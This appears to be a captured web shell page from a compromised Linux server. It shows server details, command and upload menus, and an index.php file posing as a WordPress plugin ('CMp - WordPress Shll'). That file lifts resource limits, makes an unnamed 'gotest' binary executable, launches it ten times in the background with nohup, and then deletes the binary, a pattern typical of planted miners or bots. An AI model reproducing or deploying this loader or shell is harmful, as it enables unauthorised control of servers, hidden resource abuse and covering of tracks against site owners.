Server IP : 213.176.29.180  /  Your IP : 18.188.92.6
Web Server : Apache
System : Linux 213.176.29.180.hostiran.name 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
User : webtaragh ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0777) :  /home/../proc/146/../acpi/../sysvipc/../425/../1401/../131/../156/../12942/cwd/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/../proc/146/../acpi/../sysvipc/../425/../1401/../131/../156/../12942/cwd/index.php
<?php
/**
 * Plugin Name: CMp - WordPress Shll
 * Plugin URI: https://github.com/mx/cmap/
 * Description: Siple WordPress Shll - Usage of CMSmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state, and federal laws. Developer assumes no liability and is not responsible for any misuse or damage caused by this program.
 * Version: 1
 * Author: Cmp
 * Author URI: https://github.com/x/csmap/
 * License: GPL
 */

// Disable execution time limit
set_time_limit(0);  // 0 means no time limit

// Disable memory limit (if necessary)
ini_set('memory_limit', '-1');  // '-1' means unlimited memory

// Add execute permission to the gotest file
$chmodCommand = 'chmod +x gotest';
exec($chmodCommand, $output, $status);

// Check if permission was successfully added
if ($status === 0) {
    echo "Execute permission successfully added to the gotest file\n";
    
    // Loop to execute gotest file 10 times, each in the background
    for ($i = 0; $i < 10; $i++) {
        // Use nohup to run the command in the background and prevent it from being killed after terminal closes
        $command = 'nohup ./gotest > /dev/null 2>&1 &'; // Run in the background with nohup
        exec($command, $output, $status);

        // Check if the command was executed successfully
        if ($status === 0) {
            echo "gotest execution #$i started in the background\n";
        } else {
            echo "Failed to start gotest execution #$i\n";
        }
    }

    // Optionally, delete the gotest file after all executions
    if (unlink('gotest')) {
        echo "gotest file has been deleted\n";
    } else {
        echo "Failed to delete gotest file\n";
    }
} else {
    echo "Failed to add execute permission, unable to execute gotest\n";
}
?>